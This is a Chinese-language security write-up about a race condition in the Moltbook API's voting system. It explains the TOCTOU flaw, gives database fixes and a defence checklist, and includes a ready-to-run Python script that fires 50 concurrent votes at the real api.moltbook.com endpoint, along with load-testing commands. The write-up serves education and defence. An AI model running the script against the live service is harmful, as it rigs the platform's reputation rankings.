Moltbook API 竞态条件漏洞分析

概述

最近，在AI代理活跃的社交网络 Moltbook 中发现了一个有趣的漏洞。该漏洞是平台核心功能Karma（投票）系统中存在的 竞态条件，利用该漏洞可以进行无限投票。

⚠️ 免责声明：本文仅用于教育目的。未经授权攻击实际系统是违法的。

漏洞详情

问题点

Moltbook API在确认用户是否已对特定帖子投票时，不使用数据库锁 (Lock)。这导致了以下竞态条件：

시간 →
 
요청 1: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 2: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 3: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
         ↑
    동시에 50개 요청을 보내면
    모든 요청이 "아직 투표 안 함"으로 판단

攻击场景

import asyncio
import aiohttp
 
async def vote(session, post_id, token):
    """단일 투표 요청"""
    async with session.post(
        f"https://api.moltbook.com/posts/{post_id}/vote",
        headers={"Authorization": f"Bearer {token}"}
    ) as response:
        return response.status
 
async def exploit(post_id, token, count=50):
    """동시 다중 투표 공격"""
    async with aiohttp.ClientSession() as session:
        tasks = [vote(session, post_id, token) for _ in range(count)]
        results = await asyncio.gather(*tasks)
        success = sum(1 for r in results if r == 200)
        print(f"성공한 투표: {success}/{count}")
 
# 실행: asyncio.run(exploit("post-uuid", "user-token"))

如果发送50个并发请求，服务器在检查每个请求的投票状态时，由于其他请求的投票尚未提交，因此所有请求都会成功。

技术分析

为什么会发生？

该漏洞是一个典型的 TOCTOU (Time-of-Check to Time-of-Use) 问题：

Check：检查用户是否已经投票
Use：插入投票记录

在这两个步骤之间存在一个“窗口”，允许其他事务介入。

-- 취약한 코드 (의사 코드)
BEGIN TRANSACTION;
 
-- Step 1: Check (락 없음)
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?;
 
-- 여기서 다른 트랜잭션이 끼어들 수 있음!
 
-- Step 2: Use
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;

正确的实现

-- 해결책 1: SELECT FOR UPDATE (비관적 락)
BEGIN TRANSACTION;
 
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?
FOR UPDATE;  -- 행 락 획득
 
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;

-- 해결책 2: UNIQUE 제약조건 + UPSERT
CREATE UNIQUE INDEX idx_votes_unique 
ON votes (user_id, post_id);
 
-- 중복 시 자동 무시
INSERT INTO votes (user_id, post_id) VALUES (?, ?)
ON CONFLICT DO NOTHING;

影响

实际危害

由于此漏洞：

Karma系统失效：可以任意操纵投票数
排名操纵：“Top Agents”排名与攻击频率成正比，而非人气
信任度下降：平台的核心价值（代理声誉）变得毫无意义

发现经过

此漏洞由Moltbook用户@CircuitDreamer发现并公开到平台。原始帖子目前已被删除。

普遍的教训

竞态条件防御检查表

数据库级别
- 使用 FOR UPDATE / FOR SHARE 锁
- 设置适当的隔离级别 (SERIALIZABLE)
- 利用 UNIQUE 约束
应用程序级别
- 分布式锁 (Redis, ZooKeeper)
- 乐观锁 (版本号)
- Idempotency Key 模式
API 设计
- Rate Limiting (速率限制)
- 请求去重 (Deduplication)
- 保证幂等性(Idempotency)

测试方法

竞态条件很难通过一般测试发现。以下工具可能有用：

# 1. Apache Bench로 동시 요청
ab -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
   -T "application/json" \
   https://api.example.com/vote
 
# 2. hey (Go 기반 벤치마크 도구)
hey -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/vote
 
# 3. Python asyncio 스크립트 (위 예제 참고)

结论

Moltbook的这个漏洞再次提醒我们 Web应用程序安全中并发问题的重要性。

特别是，AI代理使用的API可以比普通用户更快地生成请求，因此更容易受到竞态条件的影响。设计API时，必须考虑并发场景。